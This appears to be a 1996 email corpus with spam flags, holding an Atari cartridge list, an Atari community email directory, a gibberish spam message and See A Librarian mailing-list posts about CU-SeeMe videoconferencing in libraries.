(by Accolade) Atari RX8085 ?87 Fight Night (by Accolade) Atari RX8086 ?87 Barnyard Blaster (Lightgun game) Atari RX8087 87 Bug Hunt (Lightgun game) Atari RX8088 ?87 Crossbow (Lightgun game) Atari RX8089 ?87 Desert Falcon Atari RX8090 ?87 Gato Atari RX8091 ?87 Flight Simulator II (by subLogic) Atari RX8092 87 Archon (by Electronic Arts) Atari RX8093 ?87 One-on-One Basketball (by Electronic Arts) Atari RX8094 Commando Atari RX8095 Karateka (by Broderbund) Atari RX8096 Choplifter (by Broderbund) Atari RX8098 Summer Games (by Epyx) Atari RX8099 88 Ace of Aces (by Accolade) Atari RX8101 ?88 Dark Chambers Atari RX8102 ?88 Crystal Castles Atari RX8103 88 Mario Brothers Atari RX8104 Crime Busters (Lightgun game) Atari RX8108 Necromancer (by Synapse) Atari RX8109 Airball Atari RX8111 Tower Toppler Atari RX8113 Thunder Fox Atari RX8114 Into the Eagles Nest (by Pandora Software) Atari RX8118 ?89 Xenophobe Atari RX8120 Super Football Atari RX8124 MidiMaze Atari RX8??? Deflektor Atari AED80013 83 AtariLab: Temperature Module Atari AED80014 84 AtariLab: Light Module Atari 400/800 SALT Diagnostic cartridge Atari NR SuperPILOT (may exist though) Atari CB101931 NR Super Pac-Man (prototype) Atari CA400201 NR XE Demo Cartridge (four games, prototype) Beaumont PUP (Primary Utility Pack) Big Five n/a 83 Miner 2049er Big Five n/a NR Scraper Caper Big Five n/a ?85 Bounty Bob Strikes Back Broderbund Choplifter! Broderbund Sea Fox Broderbund Serpentine CBS Soft 22100 82 K-razy Shoot-Out CBS Soft 22103 82 K-razy Antiks CBS Soft M8788 82 K-razy Kritters CBS Soft M8790 82 K-star Patrol CBS Soft 4L2541 83 Mountain King CBS Soft Boulders & Bombs CBS Soft 75010 84 Math Mileage CBS Soft 75350 84 Sesame Street Astro-Grover CBS Soft 75370 84 Sesame Street Letter-Go-Round CBS Soft Big Bird's Funhouse CBS Soft Big Bird's Special Delivery CBS Soft Ernie's Magic Shapes CBS Soft Webster Word Game CBS Soft Duck's Ahoy! CBS Soft Movie Musical Madness CBS Soft Halftime Battlin' Bands CBS Soft Timebound CBS Soft Time Trials CBS Soft Co-Co Notes CBS Soft Seahorse Hide-n-Seek CBS Soft Solar Fox CBS Soft Blue Print CBS Soft Wings CBS Soft Omega Race CBS Soft Domino Man CBS Soft Satan's Hollow CBS Soft Madden's Football CPS 1200xl Diagnostic Cartridge Dana Alien Ambush Datasoft Letter Wizard EasternHous KISS (right slot only cart) EasternHous Monkey Wrench (right slot only cart) EasternHous 83 Monkey Wrench II (right slot only cart) Epyx n/a 83 Jumpman Jr. Epyx n/a 83 Gateway to Apshai Epyx n/a 83 Pitstop Epyx n/a Lunar Outpost Epyx n/a Swat Rescue Epyx n/a Silicon Warrior Epyx n/a Fun with Music Epyx n/a Fun with Art Epyx n/a Monster Maze Epyx n/a Alien Garden Epyx n/a Platter Mania Elcomp Atmona-1 (machine language monitor) Elcomp Atmas (macro assembler) Elcomp Atext-1 (word processor) FisherPrice Dance Fantasy FisherPrice Linking Logic FisherPrice Memory Manor FisherPrice Logic Levels First Star ?NR Boulder Dash First Star ?NR Flip and Flop First Star ?NR Bristles Gebelli Firebird Gebelli Embargo Gebelli Doc Goodlode's Cavern GeminiSoft Magic Dump (right slot only cart) HES 83 Gridrunner Hsu Software Math Encounter ICD SpartaDOS X ICD R-Time 8 Imagic 720125-1A 83 Atlantis Imagic 720149-1A 82 Demon Attack InHome Baseball IDSI 81 Pool 400 IDSI Speedway Blast IDSI Survival of the Fittest Koala AT00315-1 83 KoalaPainter LJK Letter Perfect (40 col.) LJK Letter Perfect (80 col.) LJK Edit 6502 LJK Data Perfect (80 col.) MPP Smart Terminal MPP Microfiler (database) MPP 85 Supercharger (BBS software) MPP Assault Force 3-D OrionMicro Express! O.S.S. n/a 84 Mac/65 O.S.S. n/a Basic XL O.S.S. n/a 84 Action! O.S.S. n/a 85 Basic XE O.S.S. n/a The Writer's Tool Pandora Powerstar ParkerBros PB101689 83 Frogger ParkerBros PB101303 Star Wars: Return of the Jedi: Death Star Battle ParkerBros PB1280 84 Gyruss ParkerBros Frogger II: Three Deep ParkerBros Q*Bert ParkerBros 83 Popeye ParkerBros Astrochase (by First Star Software) ParkerBros 83 Super Cobra ParkerBros Tutankham ParkerBros Risk ParkerBros Chess ParkerBros 84 Star Wars: The Arcade Game ParkerBros 83 James Bond 007 ParkerBros Mr. Do's Castle (???) ParkerBros Montezuma's Revenge (???) Rantom Trust Reevesoft Diamond GOS Reston Movie Maker Roklan Deluxe Invaders Roklan 83 Gorf ((c)1981 Midway) Roklan 81 Wizard of Wor Roklan 83 Journey to the Planets Roklan Space Journey Roklan Diamond Mine Roklan Lifespan Roklan Rack Em Up Romox Ant Eater Romox Attack at EP-CYG-4 (by BRAM) Romox Flapper Romox Fortune Hunter Romox Princess and the Frog Romox Sea Chase Romox Spark Bugs Romox Starion Romox Typo Romox Whiz Kid Scarborough MasterType Sega 004-03 83 Star Trek Sega 005-03 83 Buck Rogers: Planet of Zoom Sega 006-03 83 Congo Bongo Sega 008-03 84 Zaxxon Sega Tac-Scan Sega 83 Spy Hunter Sega Tapper Sega Up N Down Sega Super Zaxxon SierraOnLin 83 B.C.'s Quest for Tires SierraOnLin 81 Crossfire SierraOnLin Creepy Corridors SierraOnLin Jawbreaker SierraOnLin Jawbreaker II SierraOnLin Maurauder SierraOnLin Sammy Lightfoot SierraOnLin 83 Mr. Cool SierraOnLin Learning with Leeper Sirius Alpha Shield Sirius Fast Eddy Sirius Worm War Sirius 82 Turmoil (by 20th Century Fox) Sirius 82 Fantastic Voyage (by 20th Century Fox) Sirius 83 Final Orbit Sirius 83 Squish 'Em Sirius Capture the Flag Softmark 86 ESP Mindlock BBS SoftCountry Chessmaster 2000 Spinnaker 84 Adventure Creator Spinnaker Aegean Voyage Spinnaker Alphabet Zoo Spinnaker Cosmic Life Spinnaker DLD-AT Delta Drawing Learning Program Spinnaker Delta Music Spinnaker Facemaker Spinnaker Fraction Fever Spinnaker Kid Writer Spinnaker Kids on Keys Spinnaker Kindercomp Spinnaker Story Machine Spinnaker Up for Grabs Spinnaker Alf in the Color Caves Synapse 82 Chicken Synapse 82 Claim Jumper Synapse Drelbs Synapse Nautilus Synapse Necromancer Synapse The Pharaoh's Curse Synapse 82 Picnic Paranoia Synapse 82 Protector II Synapse Shadow World Synapse Shamus Synapse Slamball Synapse Slime Synapse Survivor Synapse File Manager Synapse Synassembler Tech-Sketch Paint-N-Sketch Level I (lightpen software) Tech-Sketch Paint-N-Sketch Level II (lightpen software) ThompsonElec Proburner TigerVision 83 Springer TigerVision 84 MatterHorn TG Software n/a 83 Abracadabra TG Software n/a 83 Droids TG Software n/a 83 Nightstrike TG Software n/a Ozzy's Orchard Thorn EMI THA12001 82 Submarine Commander Thorn EMI THA12002 82 Jumbo Jet Pilot Thorn EMI THB12003 82 Soccer Thorn EMI THB12004 82 Kick Back Thorn EMI THB12005 83 River Rescue Thorn EMI THA12010 83 Computer War Thorn EMI 83 Major League Hockey Thorn EMI ORC Attack Thorn EMI Tank Commander Thorn EMI Home Financial Management (???) Thorn EMI 81 Darts (???) Walling Co. Six Pack I Walling Co. Six Pack II Walling Co. AProm Walling Co. AProm XL ??? Bumper Bash Contributors: (Many thanks to each and every) --------------------------------------------- bs066@cleveland.freenet.edu (Jeff D. Scott) crow@coos.dartmouth.edu (Preston F. Crow) ""Charles A. Cole"" <73217.2321@compuserve.com> kcd@ecn.purdue.edu (Kent C De La Croix) Eric Lundquist Chris_F_Chiesa@cup.portal.com thester@nyx.cs.du.edu (Uncle Fester) Dennis F. Daly bp112@cleveland.freenet.edu (Steven C. Lin) Dawn_Scotting@kcbbs.gen.nz (Dawn Scotting) Alex McKenzie phbill@well.sf.ca.us (Bill Kendrick) Tim.Gearin@f47.n282.z1.tdkt.kksys.com (Tim Gearin) Frank E Seipel tgreen@iastate.edu pandola@cygnus.eid.anl.gov (Guy Pandola) lenn@mentor.cc.purdue.edu (Jody Lenn) (A.Centofanti) <712394276.F00002@tdkt.kksys.com> (Amos Jackson) krieg@ct.med.ge.com (Andrew Krieg) exuhag@exu.ericsson.se (James Hague) aa700@cleveland.freenet.edu (Michael Current) snyder10@convex1.tcs.tulane.edu (sherry snyder) bruck@brachot.jct.ac.il (Itay Chamiel) potter@sunny0.dab.ge.com (Jeff Potter) jims@chinacat.cimage.com (Jim Shillington) brs@cs.brown.edu (Brian Stormont) Joe Sabatino-->ab588@yfn.ysu.edu Francis J Park jeep@tc.fluke.com (Dale A. Chaudiere) 6500dtpt%ucsbuxa@hub.ucsb.edu (David Tipton) dfdaly@eos.ncsu.edu (Dennis Daly) marlinb@aol.com Roger.Cole@mvs.udel.edu tribe@ted.cs.uidaho.edu (Duane Tribe) mrbill@therat.kludge.com (bill esquivel) jim@mrlimpet.jpl.nasa.gov (James Brown) d.paterson2@genie.geis.com dave@darmok.uoregon.edu (Curtis Hale) dmb@ai.mit.edu (David Baggett) Stefanos Damianakis -- ||| ! Atari 800/130XE ! Kevin Chase ! Game of the week ||| ! 2600/7800/NES ! chase@physics.rutgers.edu ! Gauntlet II / | \\ ! Genesis/MacSE30 ! Classic Game Collector ! -=-=-=-=-=-=-=-=-",0,0 mcurrent@carleton.edu,kendrick@zippy.sonoma.edu,"Sun, 14 Jul 1996 15:57:14 -0500",Archive upload: whos who list," Cleveland Free-Net Atari SIG's Who's Who in the Atari Community E-Mail Directory Updated: 20-Apr-96 (by aa700) The following people are members of the Atari Community that do things that helps Atari users and the Atari Community in some way on a continuous basis. They are Atari BBS sysops, dealers, developers, publishers, user group presidents, writers, FAQ maintainers, etc. They are even Atari employees. Everyone on this list gave their permission to be on this list. If you contribute some way to help others in the Atari Community on a continuous basis and would like to be made more available through e-mail incase someone wishes to contact you, please send e-mail to the Cleveland Free-Net Atari SIG at: xx004@cleveland.Freenet.edu Report any changes to: xx004@cleveland.Freenet.edu This list may not be reprinted for profit. Atari user groups may reprint this list without permission as long as the following information is included on the top of this text file: Cleveland Free-Net Atari SIG's ""Who's Who in the Atari Community E-Mail Directory"" telnet freenet-in-a.cwru.edu (216)/368-3888 type 'go atari' at any menu Press ""/"" at the page break and then the last name of the individual that you wish to contact. If the individual is listed, information should appear on the screen. Arranged in alphabetical order (last name first). NAME ADDRESS(ES) INVOLVEMENT Ackerman, Dan.......................dackerma@magnus.acs.ohio-state.edu Atari Developer, Falcon030 C programmer, Jaguar programmer Allison, Warwick....................warwick@cs.uq.oz.au Author of GEM++ class library; GNU C++ help; GEM ports of UNIX software: nethack, gnuchess Bhabuta, Denesh (Danny).............cpadb@cent1.lancs.ac.uk pddanny@micros.hensa.ac.uk danny@micros.hensa.ac.uk Atari P.D. file moderator for The Higher Education National Software Archive (HENSA/micros) micros.hensa.ac.uk login and password both: hensa Bussche, Egbert Jan van den.........busscheh@ksepl.nl Registered SpeedoGDOS Developer, working on: Epson Stylus 800 driver, always looking for other speedogdos developers to exchange knowledge Boardman, Robert....................redfrog@io.org 8-bit Vice President of the Toronto Atari Federation (with over 200 members) Boom, Marcel........................mboom@mswe.dnet.ms.philips.nl Developer of CD archive program (audio), several database programs such as musicians, instruments, supporters, etc., video archive cataloger. Familiar with PureC with ACS-pro and willing to help others with this software Cantin, Barry W.....................aa852@cleveland.freenet.edu Cleveland Free-Net Atari SIG Lynx Support Area SIGOp Charlton, Frank.....................Frank.Charlton@dial.pipex.com stformat@cix.compulink.co.uk Reviews Editor, ST FORMAT Magazine Chemla, Laurent.....................laurent@brasil.frmug.fr.net brainstorm@brasil.frmug.fr.net Brainstorm Developer (Communication, hardware link, system development), development tools, system and DSP programs, high-end algorithm software. Atari products: Adebug/Assemble, official Atari DSP Debugger, and own JPEG/MPEG decoders Chu, Howard.........................howard@lloyd.com Atari developer, Falcon030 programmer, maintainer and tech support at atari.archive.umich.edu, GCC development, MiNT development, TCP/IP networking development. Developer of Pleiades Research Corp's (formerly Digital-Optical-Analog) Digital Storefront voicemail system (formerly ""BlackMail"") Clifton, Don........................don@u.washington.edu GENIE: D.CLIFTON4 SpiritWare Developer (Bible study tools) Cole, John..........................j.cole@lexicor.com Lexicor@world.std.com CIS: 75300,763 GENIE: LEXICOR Delphi: LEXICOR, LEXICORWORLD Lexicor Developer Cunningham, Edward..................ecunning@heartland.bradley.edu as824@cleveland.freenet.edu Info-Atari16 Digest mailing list moderator Current, Michael....................mcurrent@carleton.edu Cleve. F.N.: aa700@cleveland.freenet.edu Cleveland Free-Net Atari SIG / CAIN 8-bit computers support Atari 8-bit computers FAQ and Vendor Lists maintainer DiMasi, Nick........................nickd@vpnet.chi.il.us dimasi@comm.mot.com Suburban Chicago ATarians (SCAT) users' group (8-bit,ST/TT/Falcon) Dunham, Jerry.......................dunham@mpd.tandem.com dunham_jerry@tandem.com Austin Atari Computer Enthusiasts e-mail and Usenet news organizer, maintainer of user group product database, 5 8-bit Atari's, 4 ST's Grabnar, Matija.....................matija.grabnar@ijs.si Largest Slovenian computer magazine--Atari Department Head Graham, Craig.......................craig.graham@newcastle.ac.uk CLA digital design system, F030 DSP MOD Library-only PD video digital digitizer to give better than commercial performance on Falcon030 Guy, Travis.........................aeo.mag@genie.geis.com aeo_mag@delphi.com 70007.3615@compuserve.com Editor, AEO--Atari Explorer Online magazine (92-) GFA BASIC hacker; 680x0, 6502 knowledgable, Assistant Editor-- ST Informer (87-91) Harvey, Craig.......................harvey@ic.net Clear Thinking Author of Edit Plus (formerly EdHak, formerly Diary) President, Washtenaw Atari User Group (now turned multi-platform) Heller, Andrew K....................root@akh104.rh.psu.edu System Administrator of temp jag site on akh104.rh.psu.edu, includes: avi files, screen shots, faq, and various other Jag facts Herborth, Chris.....................herborth@53iss6.waterloo.ncr.com cherborth@semprini.waterloo-rdp.on.ca UNIX applications ports: official Atari port of INFO-ZIP's free unzip application, a varient of NetHack (called netHack--), ported text adventure Dinkum, working on porting Angband 2.5, GEM development using GNU C++ and Warwick Allison's GEM++ library, user-tech-support via email and comp.sys.atari.s, help users get UUCP connections on their ST, and beta tester of software Hern, William.......................whern@bnr.ca ""ST Applications"" UK Magazine, Desktop Discussion columnist Horvat, Fred........................ap748@cleveland.freenet.edu Cleveland Free-Net Atari SIG Portfolio Support Area SIGOp Jung, Robert A......................rjung@netcom.com Maintainer of the Atari Lynx FAQ, Atari Lynx HyperStack, Jaguar FAQ, Writer--Internet Lynx game reviews, Writer-- AtariUser magazine, miscellaneous Lynx and Jaguar Q&A stuff Kordahi, Andre John ................andrek@dove.mtx.net.au andre.john.kordahi@opt.com.au Secretary of the Adelaide Atari Computer Club Lake, Marshall......................mlake@DGS.dgsys.com TEAM Software Developer, software includes: ""A Day at the Races"" (ADAR), ""A Day at the Races Companion"" (ADARC), Owned by: Marshall Lake, Piet Francke Lavi, Mark..........................marklavi@delphi.com mlavi@bix.com Delphi--Technical Associate, Online Services, reference for Atari communities with full Internet access on DELPHI and BIX Leair, Mark.........................aa338@cleveland.freenet.edu mleair@oucsace.cs.ohiou.edu Cleveland Free-Net Atari SIG Voting Administrator, Conference Organizer, CAIN Newsletter Publisher/Editor, Basement UnderWorld BBS SysOp (216-381-7859 300-14.4Kbps) run off of 800xl using BBS Express Pro! (V.2.1a) software, program BBS modules in Action! Lee, Steven.........................stevenl@robadome.com Bay Area Atari Users Group (BAAUG), President Leij, Joost van der.................Joost.vanderLeij@phil.ruu.nl Owner of Game Designing Company that makes games for Falcon030 such as the shareware game called UFO War Lemaresquier, Alexandre.............alex@brasil.frmug.fr.net brainstorm@brasil.frmug.fr.net Brainstorm Developer (Manager, GEM development, system development) development tools, system and DSP programs, high-end algorithm software. Atari products: Adebug/Assemble, official Atari DSP Debugger, and own JPEG/MPEG decoders Lemoine, Raphael....................raphael@brasil.frmug.fr.net brainstorm@brasil.frmug.fr.net Brainstorm Developer (Graphics programming, DSP programming, system development), development tools, system and DSP programs, high-end algorithm software. Atari products: Adebug/Assemble, official Atari DSP Debugger, and own JPEG/MPEG decoders Mackereth, Ian......................ianm@mpx.com.au ACE (NSW) President & BBS SysOp in Sydney, Australia Fido 3:712/520, NeST 90:6/0 and AtariNet 51:800/0 March, Eric.........................diehl@io.org Developer of FANSI, the ANSI Art package for the Atari ST, GFA developer, graphic artist, MOD musician McGuire, Dennis.....................mcguired@moose.erie.net President, Spectrum Atari Group of Erie Sysop, SAGE BBS (814-833-4073 - FNET Node 478) Mulvey, Patrick J...................pmulvey@li.net President of the Long Island Atari User Group (LIAUG) Nelson, Bruce D.....................aa789@cleveland.freenet.edu Cleveland Free-Net Atari SIG 16/32-Bit Computers Support Area SIGOp, ACORN Kernel Assistant Newsletter Editor for the Atari Computer Owners of Rochester, NY (ACORN) Paschall-Zimbel, David..............davidli@simvax.labmed.umn.edu Original editor and writer for the comp.sys.atari.st FAQ, associate archive maintainer for the atari.archive.umich.edu site, last President of MAST (Minnesota Atari ST user group) and still maintain their DOM library, writer of Pascal tutorials Poling, Jeff........................jpoling@dinosauria.com jepoling@freenet.columbus.oh.us Greater Columbus Free-Net ACEC SIG manager Greater Columbus Free-Net ACEC Lynx SIG SIGOp Potter, Jeff........................potter@sunny.dab.ge.com 74030.2020@compuserve.com JDPOTTER@genie.geis.com 8-bit programmer of shareware applications/utilities in assembly: APACVIEW, APACSHOW, COLRVIEW, DEGASRD, ILBMREAD, GIFNCODE, CRAB NEBULA, Member of the AGDA team which released ""Maze of Agdagon"" (multi-comuter, 3-D graphics maze game), Graphics and Entertainment Software Editor for Atari Classics magazine. Contributor of articles to AC, AIM, and user group newsletters. Ramos, Tony.........................ramos.15@osu.edu aramos@cis.ohio-state.edu Author of Parrot and Parrot II for the Atari 8-bit, familiar with software design and graphic & sound programming on Atari 8-bits in 6502 assembly and all flavors of BASIC Richards, Daryl.....................drichard@isle.waterloo-rdp.on.ca Neat & Nifty Developer & Co-Owner, Products: Taz terminal program, TurboRS program and hardware. Ringo...............................ringo@lexicor.com Lexicor@world.std.com CIS: 75300,763 GENIE: LEXICOR Delphi: LEXICOR, LEXICORWORLD Lexicor Developer Roelandt, Patrick...................patrol@hacktic.nl Dutch Jaguar Club, Founder, organizer of new Jaguar publication, Lynx reviewer/importer of games in Netherlands Roloson, Dani A.....................daroloson@math.uwaterloo.ca Kitchener-Waterloo Eight Sixteen Thirty-two (KWEST) Atari User Group Newsletter Editor Seiler, Lee.........................l.seiler@lexicor.com Lexicor@world.std.com CIS: 75300,763 GENIE: LEXICOR Delphi: LEXICOR, LEXICORWORLD Lexicor Developer Siu, Yat............................y.siu@lexicor.com Lexicor@world.std.com CIS: 75300,763 GENIE: LEXICOR Delphi: LEXICOR, LEXICORWORLD Lexicor Developer Smith, Mark Stephen.................msh@dl.ac.uk Atari FTP List maintainer, Atari Web Page creator and maintainer Stanford, John......................j.stanford@lexicor.com Lexicor@world.std.com CIS: 75300,763 GENIE: LEXICOR Delphi: LEXICOR, LEXICORWORLD Lexicor Developer Stys, Len...........................aa399@cleveland.freenet.edu lstys@rs6000.baldwinw.edu Cleveland Free-Net Atari SIG Manager, Jaguar Support Area SIGOp, Lynx Assistant SIGOp, CAIN Newsletter Assistant Editor, ""Who's Who in the Atari Community E-Mail Directory"" Maintainer Svensson, Christian.................svensson@bucknell.edu Kasumi Ninja FAQ Maintainer, Jaguar Home page maintainer, Fight For Life FAQ writer, AEO writer Tirrell, Scott......................stirre31@maine.maine.edu ST Informer Writer (part-time) Todd, Mike..........................snyder10@convex1.tcs.tulane.edu Info-Atari8 Digest Moderator Verite, Daniel......................daniel@brasil.frmug.fr.net brainstorm@brasil.frmug.fr.net Brainstorm Developer (Image recognition, parallel programming, system development), development tools, system and DSP programs, high-end algorithm software. Atari products: Adebug/Assemble, official Atari DSP Debugger, and own JPEG/MPEG decoders Weiner, Jeff........................weiner@atari.archive.umich.edu weiner@terminator.rs.itd.umich.edu Former Maintainer of the atari.archive.umich.edu ftp site. ",0,0 Fessler ,kendrick@zippy.sonoma.edu,"Mon, 15 Jul 1996 09:44:13 -0500",Wish your fat is a goner,"try ascription ! aerial may coax may solecism ! destructor ",1,0 Eric Lease Morgan ,see-a-librarian-l@vega.lib.ncsu.edu,"Tue, 16 Jul 1996 13:42:40 -0400",sum stuff,"Sum Comments ============ The See A Librarian Project is into its second week. Last Friday a very good, impromptu conference took place between people in Michigan, Washington DC, Colorado, Mexico, Florida, and North Carolina. With only minor technical difficulties, quite a conversation was experienced. Kudos to the CU-SeeMe folks! Please continue to spread the word about See A Librarian (http://sunsite.berkeley.edu/~emorgan/see-a-librarian/), and continue to connect to the reflectors. It seems that later in the day is the best time for everybody. Alternatively, we can schedule set times. Sum Projects ============ I have discovered that the State Library sytem of Florida was been awarded a grant to play with CU-SeeMe. The grant's purpose is to extend skill of state librarians to remote librarians of Florida. Hopefully we will be experiencing some activity from more folks from Florida as they acquire their hardware. In Colorado, the use of CU-SeeMe is being explored for the same sorts of purposes as in Florida. They will be able provide useful information concerning their infrastructure since many of their participants will be using modems for their network connections. The University of Michigan has been using CU-SeeMe and teleconferencing to do extended reference services. I believe they have been experimenting for at least one if not two semesters. An article in Academe Today briefly describes their experiences. Sum ideas ========= Sum ideas for the use of CU-SeeMe in library settings that have come out of our discussions include: 1. reference services 2. training 3. ""study hall"" sessions 4. debates The last item particular intrigues me for this project. Next time you see a raging debate taking place on a mailing list. Invite opposing sides of the argument to debate thier points of view on a CU-SeeMe reflector. While the debate takes place, other can ""lurk"" and watch the debate. Sum Trivia ========== 1. The SEE-A-LIBRARIAN-L mailing list now has 18 subscribers. 2. Since July 1st, there have been 381 connections to the See A Librarian home page at http://sunsite.berkeley.edu/~emorgan/see-a-librarian/. 3. Since June 26th there have been at least 190 connections to the reflector at vega.lib.ncsu.edu. (I have not been yet able to accuratly extract this information from the reflector at sunsite.berkeley.edu.) -- Eric Lease Morgan NCSU Libraries http://www.lib.ncsu.edu/staff/morgan/ >From eric_morgan@ncsu.edu Tue Jul 16 17:00:53 1996 Received: by vega.lib.ncsu.edu; id AA22755; Tue, 16 Jul 1996 17:00:53 -0400 Message-Id: <9607162100.AA22755@vega.lib.ncsu.edu> Received: from 152.1.139.102 ([152.1.139.102]) by ncsulib5.lib.ncsu.edu with SMTP; Tue, 16 Jul 1996 16:58:35 -0400 (EDT) From: Eric Lease Morgan Date: Tue, 16 Jul 1996 15:10:19 -0400 To: see-a-librarian-l@vega.lib.ncsu.edu Subject: sum news X-Mailer: MailConnect v1.2 See A Librarian has made the news. Jeffrey R. Young of the Chronicle of Higher Education who was a part of our conference on Friday, has written an artcle briefly describing how we are trying to use this technology to improve librarianship. I have secured permission to repost the article's contents here. You can also see a screen shot of the conference from Jeffery's desk by going to: http://sunsite.berkeley.edu/~emorgan/see-a-librarian/article.html ---------------------------------------------------------------------------- Of Note on the Net ---------------------------------------------------------------------------- Librarians Use Videoconferencing to Connect with Patrons, Colleagues It's the dead of winter at the University of Michigan at Ann Arbor -- a blinding blizzard and subzero temperatures. A student has a question for a reference librarian, and she'd like to go over to the Shapiro Undergraduate Library and ask. But trudging across campus is the last thing she wants to do. Fortunately for her, the Internet is bringing the reference librarian closer to home. At several residence-hall libraries at the university, the staff has set up a videoconferencing system that lets students see and hear a reference librarian who is on duty at the main library. The students can make video-enhanced telephone calls to the main reference desk that are the next best thing to being there. ""It's like The Jetsons,"" says Kathleen M. Folger, a reference librarian at the university, recalling the use of videophones in the futuristic cartoon series on television in the 1960s. The library started the high-tech project, called the Interactive Reference Assistance program, in October 1995, and it was an immediate hit. ""The students just really enjoy using it,"" Ms. Folger says. ""They're fascinated by the technology."" The University of Michigan's library is one of the first to experiment with on-line videoconferencing in this way, but Ms. Folger and her colleagues are not the only ones interested in seeing their patrons on the computer screen. In fact, a librarian at North Carolina State University has set up a forum to discuss videoconferencing in libraries. Appropriately, the forum takes place on an Internet-based videoconference. One of the objectives of the forum is simply to find out how many librarians have the cameras and the know-how to tune in, says its creator, Eric L. Morgan. The results so far have been promising. One day in early July, six librarians from institutions in four U.S. states were on line, their smiling faces visible in small boxes on their computer screens. For more than an hour, they discussed everything from how to use the free ""CU-See Me"" software that makes this type of videoconferencing possible to whether offering the on-line reference service was worth the trouble. Ms. Folger, one of the participants, did much of the talking, as other librarians quizzed her about the University of Michigan's teleconferencing experiment. ""The biggest problem we had was technical support,"" she told the group. ""There's no number to call to ask for help because it's all freeware."" This fall the university plans to try a commercial software package and to upgrade from black-and-white to color cameras. One of the biggest surprises, Ms. Folger says, was how much more comfortable most students felt on camera than in person. ""Students will talk to you and be much more open with you than if they were here in person,"" she says. ""The first night we did it, I had students flirting with me. I had one student ask me out."" Both Ms. Folger and Mr. Morgan say that the unique experience of talking with a librarian in virtual space -- with its unusual mix of personal interaction and private setting -- makes the service worthwhile. Ms. Folger admits, however, that there are some students who would just as soon pick up the phone and not be seen by their librarians. ""Some of the females when they saw themselves on the camera said, 'Oh my hair looks awful.'"" Mr. Morgan plans to keep the forum open all summer. Librarians can check in at any time to see if their colleagues are talking shop. --Jeffrey R. Young ---------------------------------------------------------------------------- Reprinted with permission to the see-a-librarian home page. Copyright (c) 1996 by The Chronicle of Higher Education Inc. Reprinted with permission to the see-a-librarian mailing list. Copyright (c) 1996 by The Chronicle of Higher Education Inc. -- Eric Lease Morgan NCSU Libraries http://www.lib.ncsu.edu/staff/morgan/ >From Judy.Hauser@Oakland.k12.mi.us Thu Jul 18 13:00:20 1996 Received: by vega.lib.ncsu.edu; id AA08005; Thu, 18 Jul 1996 13:00:20 -0400 Received: from [198.111.47.49] (198.111.47.49) by kahuna.oakland.k12.mi.us (EMWAC SMTPRS 0.81) with SMTP id ; Thu, 18 Jul 1996 12:58:48 -0400 Date: Thu, 18 Jul 1996 12:58:48 -0400 X-Sender: HauserJ@oakland.k12.mi.us Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" To: see-a-librarian-l@vega.lib.ncsu.edu From: Judy.Hauser@Oakland.k12.mi.us (Judy Hauser) Subject: PTT button I have talked to Eric a couple of times using CuSeeMe but when I click on the PTT button, so that I don't have to manually push the Talk button, Eric can hear me but I can't hear Eric. Any advice on fixing this? Judy Hauser Library Consultant Oakland Schools 2100 Pontiac Lake Road Waterford, MI 48328 Phone:(810)-858-1971 Fax:(810)858-1881",0,1 BENNETT@rmcnet.robert-morris.edu,see-a-librarian-l@vega.lib.ncsu.edu,"Thu, 18 Jul 1996 16:48:00 -0500",Re: PTT button,">I have talked to Eric a couple of times using CuSeeMe but when I click on >the PTT button, so that I don't have to manually push the Talk button, Eric >can hear me but I can't hear Eric. Any advice on fixing this? My guess is that you don't have a duplex sound card. A duplex sound card would allow listening and speaking simultaneous. I've heard that some people have a version of the soundblaster card that allows for duplex sound, but you need to download the newer drivers. ****************************************************** David Bennett (bennett@rmcnet.robert-morris.edu) Systems Support & Instruction Librarian Robert Morris College Library Narrows Run Road Coraopolis, PA 15108 (412) 262-8474 (412) 262-4049 fax ****************************************************** ",0,0 Eric Lease Morgan ,see-a-librarian-l@vega.lib.ncsu.edu,"Thu, 18 Jul 1996 16:34:13 -0400",Re> Re: PTT button,"> My guess is that you don't have a duplex sound card. A duplex sound > card would allow listening and speaking simultaneous. This is what I was going to guess too. -- Eric Lease Morgan NCSU Libraries http://www.lib.ncsu.edu/staff/morgan/ >From dchiang@calvin.usc.edu Thu Jul 18 16:45:40 1996 Received: by vega.lib.ncsu.edu; id AA10993; Thu, 18 Jul 1996 16:45:40 -0400 Received: from calvin.usc.edu (root@calvin.usc.edu [128.125.253.129]) by usc.edu (8.7.2/8.7.2/usc) with ESMTP id NAA29171 for ; Thu, 18 Jul 1996 13:42:02 -0700 (PDT) Received: from [128.125.139.36] (leaveystaff15.usc.edu [128.125.139.36]) by calvin.usc.edu (8.7.2/8.7.2/usc) with SMTP id NAA04781 for ; Thu, 18 Jul 1996 13:42:00 -0700 (PDT) Date: Thu, 18 Jul 1996 13:42:00 -0700 (PDT) Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" To: see-a-librarian-l@vega.lib.ncsu.edu From: dchiang@calvin.usc.edu (Dudee Chiang) Subject: commercial vs. free CU-SeeMe software How many people are using the commercial version of CU-SeeMe, and how many people are using the free version? What are the limitations of the free version? For one thing, I believe the free version does not have the ""whiteboard"" function, which allows both parties to share a writing space. Does anyone know any other differences? Dudee Chiang Leavey Library University of Southern California dchiang@calvin.usc.edu",0,1 """Pamela M. Zilius"" ",see-a-librarian-l@vega.lib.ncsu.edu,"Fri, 19 Jul 1996 15:10:44 -0400",Re: PTT button,"> I have talked to Eric a couple of times using CuSeeMe but when I click on > the PTT button, so that I don't have to manually push the Talk button, Eric > can hear me but I can't hear Eric. Any advice on fixing this? What if sound works duplex sometimes (I'm using a Power PC) but not others? I have the reverse problem - when it's not working I can hear, but others can't hear me. ----------------------------------------- Pamela Zilius-Careaga pzilius@umich.edu Media Union/Science Libraries University of Michigan 313-763-4837 ----------------------------------------- >From eric_morgan@ncsu.edu Fri Jul 19 15:41:57 1996 Received: by vega.lib.ncsu.edu; id AA18113; Fri, 19 Jul 1996 15:41:57 -0400 Message-Id: <9607191941.AA18113@vega.lib.ncsu.edu> Received: from 152.1.139.102 ([152.1.139.102]) by ncsulib5.lib.ncsu.edu with SMTP; Fri, 19 Jul 1996 15:39:36 -0400 (EDT) From: Eric Lease Morgan Date: Fri, 19 Jul 1996 15:37:22 -0400 To: dchiang@calvin.usc.edu, see-a-librarian-l@vega.lib.ncsu.edu Subject: Re> commercial vs. free CU-SeeMe software X-Mailer: MailConnect v1.2 > How many people are using the commercial version of CU-SeeMe, and how many > people are using the free version? What are the limitations of the free > version? For one thing, I believe the free version does not have 